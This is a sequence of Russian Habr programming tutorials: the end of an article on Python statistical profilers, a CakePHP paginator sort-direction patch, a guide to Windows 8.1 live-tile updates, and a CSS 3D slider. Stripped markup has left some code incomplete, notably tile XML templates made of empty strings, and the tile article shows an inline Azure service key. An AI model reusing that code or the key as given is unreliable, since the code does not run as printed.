statprof.start()
try:
do_some_action()
finally:
statprof.stop()
statprof.display()
```
Или как менеджер контекста (нет в версии 0.1.2 из pypi, есть только в версии из [репозитория](https://github.com/bos/statprof.py)):
```
import statprof
...
with statprof.profile():
do_some_action()
```
Попробуем отпрофилировать наш код:
> rudnyh@work:~/work/python-profiling (venv: python-profiling)
>
> ➜ python euler\_3.py 600851475143
>
> % cumulative self
>
> time seconds seconds name
>
> 44.42 8.63 8.63 euler\_3.py:12:is\_prime
>
> 37.12 7.21 7.21 euler\_3.py:11:is\_prime
>
> 16.90 19.40 3.28 euler\_3.py:21:find\_prime\_factors
>
> 0.95 0.18 0.18 euler\_3.py:9:is\_prime
>
> 0.48 0.09 0.09 euler\_3.py:13:is\_prime
>
> 0.06 0.01 0.01 euler\_3.py:14:is\_prime
>
> 0.06 0.01 0.01 euler\_3.py:20:find\_prime\_factors
>
> 0.03 0.01 0.01 euler\_3.py:23:find\_prime\_factors
>
> 0.00 19.42 0.00 euler\_3.py:37:
>
> — Sample count: 3575
>
> Total time: 19.420000 seconds
>
> Answer: 6857
Видим два «хотспота» в нашей программе. Первый: строки 12 и 11 функции «is\_prime» (что логично), их выполнение занимает около 82% времени работы программы, и второй: строка 21 функции «find\_prime\_factors» (около 17% времени):
```
if is_prime(i) and not num % i:
```
Именно из этой строки вызывается самая «горячая» функция программы «is\_prime». Просто поменяв местами операнды в условии мы значительно ускорим программу, т.к. операция получения остатка от деления (num % i) выполняется быстрее функции «is\_prime», и в то же время достаточно часто остаток от деления одного числа на другое не равен нулю, и «not num % i» вернёт False. Таким образом, мы кардинально уменьшим количество вызовов функции «is\_prime»:
```
if not num % i and is_prime(i):
```
Запускаем профилирование:
> rudnyh@work:~/work/python-profiling (venv: python-profiling)
>
> ➜ python euler\_3.py 600851475143
>
> % cumulative self
>
> time seconds seconds name
>
> 87.50 0.22 0.22 euler\_3.py:21:find\_prime\_factors
>
> 5.00 0.01 0.01 euler\_3.py:20:find\_prime\_factors
>
> 5.00 0.01 0.01 euler\_3.py:11:is\_prime
>
> 2.50 0.01 0.01 euler\_3.py:23:find\_prime\_factors
>
> 0.00 0.25 0.00 euler\_3.py:37:
>
> — Sample count: 40
>
> Total time: 0.250000 seconds
>
> Answer: 6857
Самое горячее место в нашей программе теперь строка 21 функции «find\_prime\_factors», то есть операция получения остатка от деления («num % i»). Функция «is\_prime» теперь вызывается гораздо реже и выполняется всего 5% времени работы программы. Время работы программы значительно уменьшилось и наибольший простой делитель числа 600851475143 теперь находится всего за 0,25 секунд (ускорили программу почти в 80 раз).
Обратим внимание на то, как сильно упала точность работы профайлера: вместо 3575 семплов (в примере до оптимизации) было сделано всего 40 измерений и получена информация всего о пяти строках. Конечно, этого недостаточно. Собственно, в этом и заключается особенность статистических профайлеров: чем больше времени мы собираем данные, тем точнее анализ. Если бы мы, например, запустили программу десять или сто раз, мы бы получили гораздо более точные результаты.
**Здесь я должен сделать небольшое лирическое отступление.**99% всех вспомогательных утилит, таких как профайлеры или инструменты для анализа покрытия кода тестами (code [coverage](https://bitbucket.org/ned/coveragepy)), работают со строками в качестве минимальной единицы информации. Таким образом, если мы будем пытаться писать код как можно более компактно, например так:
```
result = foo() if bar else baz()
```
мы не сможем в профайлере увидеть, какая из функций вызывалась, а какая нет. И в отчёте coverage мы не увидим, покрыт ли тот или иной вариант развития событий тестами. Несмотря на более привычный и, казалось бы, удобный код, в некоторых случаях всё-таки лучше писать так:
```
if bar:
result = foo()
else:
result = baz()
```
и тогда мы сразу увидим какие строки не исполняются, а какие — исполняются (и как часто). Однострочники и компактность — это, конечно, хорошо и прикольно, но иногда лучше потратить больше времени и получить код, который легче профилировать, тестировать и поддерживать.
Достоинства и недостатки statprof:
+ минимальный оверхед
+ простое использование
– реализация достаточно сырая и экспериментальная
– для адекватного результата нужен длительный анализ
– мало данных на выходе
### Django-live-profiler
Отдельным пунктом стоит отметить [django-live-profiler](https://github.com/InviteBox/django-live-profiler) — профайлер приложений Django, использующий statprof. Для его работы необходимо сначала установить [zeromq](http://zeromq.org/):
> ➜ brew install zmq
Ставим сам модуль:
> ➜ pip install django-live-profiler
И запускаем аггрегатор:
> ➜ aggregated --host 127.0.0.1 --port 5556
Дальше добавляем профайлер в settings.py:
```
# добавляем application
INSTALLED_APPS += ('profiler',)
# добавляем middleware
MIDDLEWARE_CLASSES += (
'profiler.middleware.ProfilerMiddleware',
'profiler.middleware.StatProfMiddleware',
)
```
И в urls.py:
```
url(r'^profiler/', include('profiler.urls'))
```
Запускаем сервер:
> ➜ python manage.py runserver --noreload --nothreading
Открываем в браузере профайлер: [127.0.0.1](http://127.0.0.1):8000/profiler/ и радуемся жизни, наблюдая за результатами профилирования живого проекта в реальном времени:
А ещё django-live-profiler умеет показывать SQL-запросы:
Достоинства и недостатки django-live-profiler:
+ небольшой оверхед
+ можно пускать в продакшн (очень осторожно)
+ профилирование SQL-запросов
– сложная установка, зависимости
– мало данных на выходе
### Plop
Ещё один статистический профайлер называется [plop](https://github.com/bdarnell/plop) (Python Low-Overhead Profiler). Автор сразу предупреждает, что реализация сырая и проект находится в стадии активной разработки. Установка тривиальна:
> ➜ pip install plop tornado
Запускаем профилирование:
> rudnyh@work:~/work/python-profiling (venv: python-profiling)
>
> ➜ python -m plop.collector euler\_3.py 600851475143
>
> Answer: 6857
>
> profile output saved to /tmp/plop.out
>
> overhead was 5.89810884916e-05 per sample (0.00589810884916%)
Запускаем сервер для просмотра результатов:
> ➜ python -m plop.viewer --datadir=/tmp/
Открываем в баузере страницу <http://localhost:8888/> и любуемся результатами:
Plop можно использовать для профилирования Django-приложений. Для этого нужно установить пакет django-plop:
> ➜ pip install django-plop
Добавить в settings.py middleware и параметр, указывающий профайлеру, куда складывать результаты:
```
MIDDLEWARE_CLASSES += (
'django-plop.middleware.PlopMiddleware',
)
PLOP_DIR = os.path.join(PROJECT_ROOT, 'plop')
```
В большом проекте граф будет выглядеть более внушительно:
Картина достаточно психоделична, серьёзным инструментом для профилирование это назвать сложно, но тем не менее граф вызовов у нас есть, самые горячие участки кода видно, оверхед минимальный (по утверждениям авторов всего 2%), и в некоторых случаях этого инструмента оказывается достаточно для обнаружения участков кода, нуждающихся в профилировании. Сервис [Dropbox](https://www.dropbox.com/) использует plop прямо в продакшене, а это о многом говорит.
Достоинства и недостатки plop:
+ минимальный оверхед
+ можно пускать в продакшн
– сложная установка, зависимости
– очень мало данных на выходе
### New Relic
Говоря о статистических профайлерах нельзя не сказать о сервисе [New Relic](http://newrelic.com/), который предназначен не только для профилирования, но так же для мониторинга серверов и веб-приложений (а так же мобильных версий). Желающие могут посмотреть всю информацию на сайте компании, а так же попробовать сервис совершенно бесплатно. Я же не буду рассказывать о нём потому, что лично не пробовал работать с New Relic, а я привык говорить только о тех вещах, которые пробовал сам. Посмотреть скриншоты можно на [странице](http://newrelic.com/thread-profiler), посвящённой профайлеру.
Достоинства и недостатки:
+ предназначен для продакшена
+ много разного функционала (не только профилирование)
– платный (есть бесплатная версия)
– данные отправляются на чужие серверы
В [следующей статье](http://habrahabr.ru/company/mailru/blog/202832/) мы перейдём к изучению событийных профайлеров — основными инструментами при профилировании Python. Оставайтесь на связи! | https://habr.com/ru/post/201778/ | null | ru | null |
# Добавление порядка сортировки в CakePHP
##### О чем будет топик?
О том, как добиться того, чтобы можно было с помощью CSS или иным способом определить/увидеть в html-выводе, в каком порядке (asc|desc) отсортирован столбик таблицы, а не только по какому из столбиков отсортирована таблица.
Короче говоря, сделать как например, на Яндекс.Расписаниях, вот так:
##### Как мы это будем делать?
Тут есть несколько вариантов. В свое время перелопатил кучу «тортовых» исходников, и так не и не нашел вменяемого (не ресурсоемкого) решения, кроме нижеприведенных. Из трех решений:
1. Парсить html в перегруженной функции afterRender() где-нибудь в своем контроллере (не ресурсоемким его не назовешь)
2. Пропатчить ядро
3. Создать свой хелпер, который наследуется от хелпера PaginatorHelper, и перегрузить там нужный нам метод
я выбрал третье. На то тоже три причины:
1. Это почти не повлияет на производительность
2. Пока я думал, писать сюда статью или нет, вышла бета-версия CakePHP 1.3.0, и там это уже пофиксили, вот даже [тикет](http://cakephp.lighthouseapp.com/projects/42648/tickets/154-enhancement-for-paginator-helper) с похожим вопросом. Но, так как это бета, то обновились далеко не все, и обновятся не скоро, потому топик еще актуален
3. Это не противоречит логике CakePHP
##### Реализация
Добавлять мы будем мало. Очень. Что и требовалось добиться от нашей задумки. Итак.
Находим файл *\cake\libs\view\helpers\paginator.php*. Смотрим в него, находим функцию sort(). Наблюдем за логикой:
> `function sort($title, $key = null, $options = array()) {
>
> $options = array\_merge(array('url' => array(), 'model' => null), $options);
>
> $url = $options['url'];
>
> unset($options['url']);
>
>
>
> if (empty($key)) {
>
> $key = $title;
>
> $title = \_\_(Inflector::humanize(preg\_replace('/\_id$/', '', $title)), true);
>
> }
>
> $dir = 'asc';
>
> $sortKey = $this->sortKey($options['model']);
>
> $isSorted = ($sortKey === $key || $sortKey === $this->defaultModel() . '.' . $key);
>
>
>
> if ($isSorted && $this->sortDir($options['model']) === 'asc') {
>
> $dir = 'desc';
>
> }
>
>
>
> if (is\_array($title) && array\_key\_exists($dir, $title)) {
>
> $title = $title[$dir];
>
> }
>
>
>
> $url = array\_merge(array('sort' => $key, 'direction' => $dir), $url, array('order' => null));
>
> return $this->link($title, $url, $options);
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Видим, что все, что нужно для добавления класса порядка сортировки уже есть. Непонятна логика авторов, наверное просто не подумали или забыли.
Теперь мы можем прямо в этом файле добавить наш мааленький кодик, тем самым пропатчив ядро и воспользовавшись соответственно способом номер два из моего списка.
После `unset($options['url']);` добавляем:
> `// patch:
>
> if ($title == @$this->params['named']['sort']) {
>
> $options['class'] = $this->params['named']['direction'];
>
> }
>
> // endpatch
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Преимущество этого в том, что не нужно носить с собой отдельно модифицированный хелпер, если вы используете один и тот же фреймворк для разных проектов.
А теперь перейдем к более интересному нам методу.
Создаем файл *\app\views\helpers\my\_paginator.php* или с любым другим именем, как вашей душе будет угодно (только не забываем потом сменить имя класса). В нем пишем:
> `php<br/
>
>
> App::import('Helper','Paginator');
>
>
>
> class MyPaginatorHelper extends PaginatorHelper {
>
>
>
> /\*\*
>
> \* Generates a sorting link
>
> \*
>
> \* @param string $title Title for the link.
>
> \* @param string $key The name of the key that the recordset should be sorted.
>
> \* @param array $options Options for sorting link. See #options for list of keys.
>
> \* @return string A link sorting default by 'asc'. If the resultset is sorted 'asc' by the specified
>
> \* key the returned link will sort by 'desc'.
>
> \*/
>
> function sort($title, $key = null, $options = array()) {
>
> $options = array\_merge(array('url' => array(), 'model' => null), $options);
>
> $url = $options['url'];
>
> unset($options['url']);
>
>
>
> // patch:
>
> if ($title == @$this->params['named']['sort']) {
>
> $options['class'] = $this->params['named']['direction'];
>
> }
>
> // endpath
>
>
>
> if (empty($key)) {
>
> $key = $title;
>
> $title = \_\_(Inflector::humanize(preg\_replace('/\_id$/', '', $title)), true);
>
> }
>
> $dir = 'asc';
>
> $sortKey = $this->sortKey($options['model']);
>
> $isSorted = ($sortKey === $key || $sortKey === $this->defaultModel() . '.' . $key);
>
>
>
> if ($isSorted && $this->sortDir($options['model']) === 'asc') {
>
> $dir = 'desc';
>
> }
>
>
>
> if (is\_array($title) && array\_key\_exists($dir, $title)) {
>
> $title = $title[$dir];
>
> }
>
>
>
> $url = array\_merge(array('sort' => $key, 'direction' => $dir), $url, array('order' => null));
>
> return $this->link($title, $url, $options);
>
> }
>
> }
>
> ?>
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
И, в AppController не забываем его использовать:
> `// ...
>
> class AppController extends Controller {
>
> var $helpers = array('Html', 'Form', 'Ajax', 'Javascript', 'MyPaginator');
>
>
>
> // ...
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Вот и все! Теперь в вашем веб-приложении будет приблизительно такой код:
> `<a class="asc" id="link1091361951" href="/search/page:1/sort:first\_name/direction:desc">First Namea>
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Соответственно, если присутствует класс asc|desc то сортируется эта колонка, а как именно, можно узнать по самому классу.
Успехов!
**UPD:** Учитывая комментарии, хочу сказать, что я знаю про существование $this->params и о том, что там вся эта информация есть. Но каждый раз для каждой колонки писать условия — не очень хорошая идея, особенно есть есть уже готовые проекты, к которым нужно добавить этот функционал. | https://habr.com/ru/post/84660/ | null | ru | null |
# Разработка Windows 8.1 приложений на XAML/С#. Часть 2. Работа с плитками
Продолжаем модернизировать приложение, которое мы создали в [прошлой статье](http://habrahabr.ru/company/microsoft/blog/201966/).
Сегодня мы разберем как создавать плитки (Tile) для Windows 8.1 приложений и каким образом можно реализовать динамическое изменение контента на них.
Плитки – это то, что вы видите, оказавшись на основном экране windows 8 или windows 8.1. Это не просто иконки. Они интерактивны. Могут содержать текстовую и графическую информацию о изменениях контента приложения, привлекать внимание пользователя и стимулировать использовать ваше приложение чаще.
Почему плитки – это так важно? Плитка – это дверь в ваше приложение, она должна нравиться пользователю и не раздражать его. Иначе он открепит её со стартового экрана и вскоре забудет про приложение.
Вы можете использовать следующие виды плиток для своих приложений:
* Большая плитка (310 x 310 пикселей);
* Средняя плитка (310 x 150 пикселей);
* Средняя плитка (150 x 150 пикселей);
* Маленькая плитка (30 x 30 пикселей).
Все они представлены на картинке ниже.
Готовые варианты плиток и размещения на них информации вы можете найти [в каталоге шаблонов плиток](http://msdn.microsoft.com/ru-RU/library/windows/apps/hh761491.aspx).
#### Настройка плиток для приложения
Воспользуемся стандартными настройками для создания простых плиток.
1. Откройте приложение из [прошлой статьи](http://habrahabr.ru/company/microsoft/blog/201966/) или создайте новое Windows 8.1 приложение в Visual Studio 2013.
2. Дважды щелкните на **package.appxmanifest**. Откроется окно редактора манифестов.
3. Укажите сведения о плитках:
* Выберите закладку **Visual Assets** в редакторе манифестов.
* Замените изображения по умолчанию на пути к вашим изображениям.
* Укажите, отображать ли короткое имя приложения на плитке.
* В зависимости от цвета фона, выберите светлый или темный шрифт текста названия.
* Примите цвет фона по умолчанию или укажите собственную строку цвета.
4. Запустите приложение и поэкспериментируйте с плитками.
Как видите, плитки работают и отображают заготовленные картинки.
Теперь настало время добавить интерактивности и научиться динамически обновлять содержимое плитки.
#### Обновление информации на плитке
Существует несколько способов для того, чтобы реализовать обновление информации на плитке:
* **Локальное обновление** – обновление плитки непосредственно во время работы самого приложения.
* **В заданное время** – обновление плитки в указанное вами время.
* **Периодически** – обновление плитки по расписанию, путем опроса внешних сервисов для получения нового содержимого.
* **Используя Push-уведомления** – обновление плитки путем отправки уведомления из внешних сервисов или систем нашему приложению.
В зависимости от задач и требований к вашему приложению, вы можете выбирать один из этих вариантов или сочетать их использование.
Теперь рассмотрим каждый из вариантов подробнее.
##### Локальное обновление плитки
Для реализации обновления плитки, непосредственно из приложения, мы добавим обработчик события по кнопке «Купить» в каталоге товаров. При нажатии на кнопку, плитка приложения будет обновляться информацией о выбранном товаре.
1. Откройте приложение из прошлой статьи.
2. В **Solution Explorer** откройте файл **HubPage.xaml** и добавьте обработчик события **Click** для кнопки «Купить» и параметр с идентификатором заказываемого товара.
3. В файле **HubPage.xaml.cs** автоматически сгенерировался пустой обработчик события. Напишем туда следующий код:
```
private void Button_Click(object sender, RoutedEventArgs e)
{
string TileXmlString = ""
+ ""
+ ""
+ "{0}"
+ ""
+ ""
+ "{0}"
+ ""
+ ""
+ "{0}"
+ ""
+ ""
+ "";
var group = (SampleDataGroup)this.DefaultViewModel["Group1Items"];
if (group != null && group.Items.Count > 0)
{
IEnumerable dataItems = group.Items.Where(item => item.UniqueId == ((Button)sender).CommandParameter);
if (dataItems != null && dataItems.Count() > 0)
{
XmlDocument tileDOM = new XmlDocument();
tileDOM.LoadXml(string.Format(TileXmlString, "Ваш заказ: " + dataItems.FirstOrDefault().Title));
TileNotification tile = new TileNotification(tileDOM);
TileUpdateManager.CreateTileUpdaterForApplication().Update(tile);
}
}
}
```
Чтобы указать какого вида будет наша новая плитка и что на ней будет написано – мы использовали xml, взятый из одного из стандартных шаблонов плиток в каталоге.
Класс *TileNotification* – создает объект сообщения для обновления плитки.
Непосредственно само обновление производится вызовом метода *TileUpdateManager.CreateTileUpdaterForApplication().Update(tile);*
4. Теперь можно запустить приложение, нажать на кнопку «купить» и обнаружить на плитке информацию о выбранном товаре.
##### Обновление плитки в заданное время
Существует возможность изменять плитку не сразу, а через какое-то время.
Например, можно заставить её измениться через 3 часа после возникновения события. Для этого можно изменить обработчик события **Button\_Click** добавив вместо последних строк следующий код:
```
Int16 dueTimeInHours = 3;
DateTime dueTime = DateTime.Now.AddHours(dueTimeInHours);
ScheduledTileNotification scheduledTile = new ScheduledTileNotification(tileXml, dueTime);
scheduledTile.Id = "Future_Tile";
TileUpdateManager.createTileUpdaterForApplication().AddToSchedule(scheduledTile);
```
##### Периодическое обновление плитки
Периодические обновления – отличный метод доставки обновления плиток для большой аудитории пользователей. Этот способ чуть более сложен в реализации и требует наличия веб-сервиса в интернет, реализующего логику формирования и передачи плитки клиентскому Windows приложению. Веб-сервис должен возвращать XML контент в [специализированном](http://msdn.microsoft.com/ru-ru/library/windows/apps/br212859.aspx) формате.
Сейчас мы создадим REST WCF сервис, который будет предоставлять информацию для обновления плитки.
**Создание веб-сервиса:**
1. Откройте **Solution Explorer** и в контекстном меню решения выберите **Add New Project**.
2. В качестве шаблона проекта выберите **WCF Service Application** и дайте ему название.
3. В результате создался проект веб-сервиса, содержащий интерфейс и непосредственно сам класс веб-сервиса.
4. Откройте файл **Service1.cs** и замените код интерфейса:
```
[ServiceContract]
public interface IService1
{
[WebGet(UriTemplate = "/Tile")]
[OperationContract]
XElement GetTile();
}
```
5. Переименуйте файл **Service1.svc** в **TileService.svc** и замените его код:
```
public class TileService : IService1
{
private const string TileXmlString = ""
+ ""
+ ""
+ "{0}"
+ ""
+ ""
+ "{0}"
+ ""
+ ""
+ "{0}"
+ ""
+ ""
+ "";
public XElement GetTile()
{
string xml = string.Format(TileXmlString, "Ваш заказ находится в обработке" );
return XElement.Parse(xml);
}
}
```
Этим кодом мы формируем xml в понятном для плиток формате.
4. Запустите проект веб-сервиса и вызовите метод. Веб-сервис должен отрабатывать и возвращать xml.
**Настройка вызов веб-сервиса в Windows приложении:**
1. В **Solution Explorer** откройте **Package.appxmanifest** и укажите настройки обновления плитки:
* Адрес веб-сервиса;
* Интервал обращения к сервису.
2. Теперь можно запустить приложение, подождать 30 минут и увидеть произошедшие изменения на плитке.
Вызывать веб-сервис и обновлять плитки можно и программно.
Данный код создаёт или обновляет задачу периодического обновления плитки из веб-сервиса раз в пол часа:
```
var tileupdater = TileUpdateManager.CreateTileUpdaterForApplication();
tileupdater.StartPeriodicUpdate(new Uri("http://localhost:32298/TileService.svc/Tile"), PeriodicUpdateRecurrence.HalfHour);
```
**Внимание:** задача будет выполняться даже если убрать плитку с основного экрана. Скорее всего у вас возникнет необходимость снимать задачу обновления плитки по каким-то событиям, для этого необходимо выполнить следующий код:
```
var tileupdater = TileUpdateManager.CreateTileUpdaterForApplication();
tileupdater.StopPeriodicUpdate();
```
##### Обновление плитки используя Push-уведомления
Push-уведомления – идеально подходят для обновления плитки в реальном времени. Например, заказ в магазине поменял статус или в социальной сети появилось новое сообщение.
Для Push-уведомления необходимо наличие внешнего сервиса, который будет управлять потоком уведомлений и доставлять их в клиентские приложения пользователей, используя [Windows Push Notification Services (WNS)](http://msdn.microsoft.com/en-us/library/windows/apps/hh913756.aspx).
Мы воспользуемся мобильными службами Windows Azure для создания и управления Push-уведомлениями. Вы можете воспользоваться [бесплатным](http://www.windowsazure.com/ru-ru/pricing/free-trial/) пробным месяцем использования Windows Azure.
Настраивать мобильную службу Windows Azure для Windows приложений можно не покидая Visual Studio:
1. Откройте **Solution Explorer**. В контекстном меню проекта выберите **Add** / **Push Notification**.
2. Заполните открывшийся визард. В процессе, вам необходимо будет использовать существующую или создать новую учетную запись разработчика Windows Store.
3. По окончании прохождения визарда, в Windows Azure будет создана мобильная служба. К ней мы вернемся чуть позже.
4. Обратите внимание, что произошло с проектом.
В проект был добавлен класс **push.register.cs** обеспечивающий взаимодействие с мобильной службой.
5. В файл **App.xaml.cs**, в событие запуска приложения, тоже было внесено изменение.
Там выполняется инициализация канала передачи Push-уведомлений.
```
public static Microsoft.WindowsAzure.MobileServices.MobileServiceClient nokiaproductsClient = new Microsoft.WindowsAzure.MobileServices.MobileServiceClient(
"https://nokiaproducts.azure-mobile.net/",
"LKcaeBgDWQTEJFiifTiRzhZBdfIkLM35");
//…
protected override async void OnLaunched(LaunchActivatedEventArgs e)
{
//…
eShop.nokiaproductsPush.UploadChannel();
//…
}
```
6. Теперь нам необходимо научить мобильную службу отправлять уведомления приложению.
7. Для этого идем в [панель управления Windows Azure](https://manage.windowsazure.com/) (https://manage.windowsazure.com/), далее **Мобильные службы**, выбрать мобильную службу, перейти на закладку **Данные** и выбрать доступный канал передачи данных.
8. На открывшейся странице нажать на закладку **Скрипт**.
9. Откроется JavaScript файл, в котором вы можете писать код и формировать уведомления.
10. Отредактируйте файл, заменив код на следующий:
```
function insert(item, user, request) {
request.execute({
success: function() {
request.respond();
sendNotifications();
}
});
function sendNotifications() {
var channelsTable = tables.getTable('channels');
channelsTable.read({
success: function(devices) {
devices.forEach(function(device) {
push.wns.sendTileWideText04(device.channelUri, {
text1: 'Ваш заказ принят'
}, {
success: function(pushResponse) {
console.log("Sent tile:", pushResponse);
}
});
});
}
});
}
}
```
11. Сохраните скрипт.
12. Вернитесь в Visual Studio и запустите приложение.
Плитка мгновенно изменится на то, что было указано в скрипте.
Итак, мы научились реализовывать динамически обновляющиеся плитки для Windows приложений различными способами. В следующих статьях мы продолжим постигать разработку Windows 8.1 приложений на простых примерах.
Скачать получившееся приложение можно на SkyDrive по ссылке: [http://sdrv.ms/1gKm4IJ](https://skydrive.live.com/download?resid=DA8C144CFF7C40EE%2137403)
#### Полезные материалы
[Создание плиток](http://msdn.microsoft.com/ru-ru/library/windows/apps/hh868260.aspx)
[Каталог готовых шаблонов плиток](http://msdn.microsoft.com/ru-RU/library/windows/apps/hh761491.aspx)
[Выбор способа доставки уведомлений](http://msdn.microsoft.com/ru-ru/library/windows/apps/hh779721.aspx)
[Общие сведения о периодических уведомлениях](http://msdn.microsoft.com/ru-ru/library/windows/apps/jj150587.aspx)
[Общие сведения о push-уведомлениях](http://msdn.microsoft.com/ru-ru/library/windows/apps/hh913756.aspx) | https://habr.com/ru/post/204720/ | null | ru | null |
# 3D-слайдер на CSS
Напишем слайдеры изображений на чистых HTML и СSS. Меняем только CSS, разметка в HTML остается неизменной. Внешний вид из-за разного CSS при этом разительно различается, а в слайдеры можно вставить неограниченное число картинок. Сначала мы создали круговой слайдер с бесконечным вращением, похожий на виджет-спиннер с изображениями. Затем мы сделали слайдер, пролистывающий стопку фотографий. Продолжение — [к старту курса по Fullstack-разработке на Python](https://skillfactory.ru/python-fullstack-web-developer?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_fpw_170123&utm_term=lead).
Сейчас погрузимся в третье измерение. Сначала это может показаться сложным, но часть кода из этого руководства с небольшими изменениями скопирована из первых двух статей. Если вы еще не ознакомились с предыдущими статьями, советую вам прочитать их для лучшего понимания применяемых нами концепций.
На первый взгляд кажется, что представлен вращающийся куб с четырьмя картинками-гранями. На самом же деле граней шесть. Посмотрите на этот же слайдер с другого ракурса:
Теперь, когда хорошо понятно расположение картинок, начнем писать код.
### Основные настройки
Начнем с HTML-кода, который мы использовали при работе с другими слайдерами:
```
![]()
![]()
![]()
![]()
![]()
```
Мы снова используем CSS Grid для того, чтобы расположить изображения стопкой, одно поверх другого:
```
.gallery {
display: grid;
}
.gallery > img {
grid-area: 1 / 1;
width: 160px;
aspect-ratio: 1;
object-fit: cover;
}
```
### Анимация
Логика этого проекта схожа с [логикой работы кругового слайдера из нашей первой статьи](https://css-tricks.com/css-only-infinite-and-circular-image-slider). Если вы снова посмотрите видео выше, вы поймете, что картинки образуют полигон. Когда вращение завершается, полигон возвращается к первой картинке.
Для кругового слайдера мы воспользовались CSS-свойством [transform-origin](https://css-tricks.com/almanac/properties/t/transform-origin/) и [animation-delay](https://css-tricks.com/almanac/properties/a/animation/). Одна и та же анимация применялась ко всем изображениям, вращающимся вокруг определенной точки. Затем, чтобы разместить изображения по кругу, мы включили различные задержки.
Для 3D-слайдера логику придется немного изменить. Воспользоваться `transform-origin` не получится, ведь работать мы будем с тремя измерениями. Вместо этого свойства применим [transform](https://css-tricks.com/almanac/properties/t/transform/), чтобы разместить все картинки должным образом, а после повернем контейнер.
Для прохода циклом по изображениям и применению к каждому свойству `transform` поработаем с SASS:
```
@for $i from 1 to ($n + 1) {
.gallery > img:nth-child(#{$i}) {
transform:
rotate(#{360*($i - 1) / $n}deg) /* 1 */
translateY(50% / math.tan(180deg / $n)) /* 2 */
rotateX(90deg); /* 3 */
}
}
```
Вы можете спросить, почему сразу начать использовать SASS. В предыдущих статьях мы сначала работали с одним и тем же числом изображений, применяя чистый CSS, и только потом переходили к SASS для работы с переменным числом изображений `N`. Мне кажется, что вы уже достаточно разобрались в теме, и можно сразу перейти к воплощению идеи на SASS.
Здесь можно увидеть, что свойство `transform` принимает три значения:
Сначала поворачиваем картинки, расположенные стопкой. Угол поворота зависит от числа картинок. Для `N` изображений изменение угла составит `360deg/N`. Затем применяем свойство [`translate`](https://css-tricks.com/almanac/properties/t/transform/#aa-translate) ко всем изображениям так, чтобы они пересекались центральными точками по бокам.
Не будем углубляться в геометрию. Просто примите как данность, что расстояние равно `50%/tan(180deg/N)`. Со схожим уравнением мы сталкивались, когда создавали круговой слайдер ( `transform-origin: 50% 50%/sin(180deg/N)` ).
Далее поворачиваем изображения по оси Х на 90 градусов. Здесь можно посмотреть, к чему приводит такой поворот:
Наконец, необходимо придать вращение контейнеру, и наш слайдер заработает.
```
.gallery {
transform-style: preserve-3d;
--_t: perspective(280px) rotateX(-90deg);
animation: r 12s cubic-bezier(.5, -0.2, .5, 1.2) infinite;
}
@keyframes r {
0%, 3% {transform: var(--_t) rotate(0deg); }
@for $i from 1 to $n {
#{($i/$n)*100 - 2}%,
#{($i/$n)*100 + 3}% {
transform: var(--_t) rotate(#{($i / $n) * -360}deg);
}
}
98%, 100% { transform: var(--_t) rotate(-360deg); }
}
```
Вы можете не понять, как работает этот код, так что давайте снова посмотрим на анимацию для кругового слайдера. Вот код из первой статьи в серии:
```
.gallery {
animation: m 12s cubic-bezier(.5, -0.2, .5, 1.2) infinite;
}
@keyframes m {
0%, 3% { transform: rotate(0); }
@for $i from 1 to $n {
#{($i / $n) * 100 - 2}%,
#{($i / $n) * 100 + 3}% {
transform: rotate(#{($i / $n) * -360}deg);
}
}
98%, 100% { transform: rotate(-360deg); }
}
```
Ключевые кадры почти одинаковы — повторяются процентные значения, цикл и поворот.
Почему они повторяются? Потому что логика та же. В обоих случаях изображения размещаются по кругу, и для показа каждой картинки контейнер нужно поворачивать. Вот почему я могу скопировать код ключевых кадров из кругового слайдера в трехмерный. Единственное отличие — угол поворота контейнера. Повернуть его нужно по оси Х и на -90 градусов (`-90deg`), чтобы картинки стали видны, ведь контейнер мы уже повернули на 90 градусов по той же оси X. Теперь добавляем свойство [`perspective`](https://css-tricks.com/almanac/properties/p/perspective/) и получаем трехмерное изображение.
Вот и все. Наш слайдер готов. Ниже вы видите демо-версию. Вам нужно лишь добавить любое число изображений и [обновить](https://codepen.io/t_afif/embed/poKpLQa?default-tab=result&theme-id=1) одну переменную.
### Вертикальный трехмерный слайдер
Раз уж мы занялись освоением трехмерного пространства, давайте создадим вертикальную версию нашего слайдера. Наш слайдер вращается по оси Z, но можно заставить его вращаться по оси Х.
При сравнении кода вертикального и горизонтального слайдера различие не сразу бросается в глаза — ведь разница всего в одной букве! Я заменил `rotate()` на `rotateX()` в коде, отвечающем за трансформацию (`transform`) ключевых кадров изображений. Вот и все!
Стоит отметить, что `rotate()` (поворот) вращает по оси Z, и изменив ось с `Z` на `X` мы создали вертикальный слайдер из горизонтального.
### Кубический слайдер
Если говорить о 3D в CSS, нельзя не [упомянуть о кубах](https://css-tricks.com/css-in-3d-learning-to-think-in-cubes-instead-of-boxes/). И да, сейчас мы напишем еще одну версию слайдера.
Создадим куб из картинок и будем поворачивать его по различным осям. Работать будем с шестью гранями — каждое изображение станет гранью куба. Никакого SASS — только чистый CSS.
Вам не кажется, что такая анимация слишком сложная? Откуда же начать?
Мы видим шесть граней, и нам нужно осуществить по крайней мере шесть вращений, чтобы увидеть каждое изображение. Но на самом деле, нам нужно пять вращений — последнее вращение возвращает нас к первой грани. Если вы возьмете кубик Рубика или любой другой предмет в форме куба, к примеру, игральную кость, и начнете вращать его, вы поймете, что мы сделаем.
```
.gallery {
--s: 250px; /* the size */
transform-style: preserve-3d;
--_p: perspective(calc(2.5*var(--s)));
animation: r 9s infinite cubic-bezier(.5, -0.5, .5, 1.5);
}
@keyframes r {
0%, 3% { transform: var(--_p); }
14%, 19% { transform: var(--_p) rotateX(90deg); }
31%, 36% { transform: var(--_p) rotateX(90deg) rotateZ(90deg); }
47%, 52% { transform: var(--_p) rotateX(90deg) rotateZ(90deg) rotateY(-90deg); }
64%, 69% { transform: var(--_p) rotateX(90deg) rotateZ(90deg) rotateY(-90deg) rotateX(90deg); }
81%, 86% { transform: var(--_p) rotateX(90deg) rotateZ(90deg) rotateY(-90deg) rotateX(90deg) rotateZ(90deg); }
97%, 100%{ transform: var(--_p) rotateX(90deg) rotateZ(90deg) rotateY(-90deg) rotateX(90deg) rotateZ(90deg) rotateY(-90deg); }
}
```
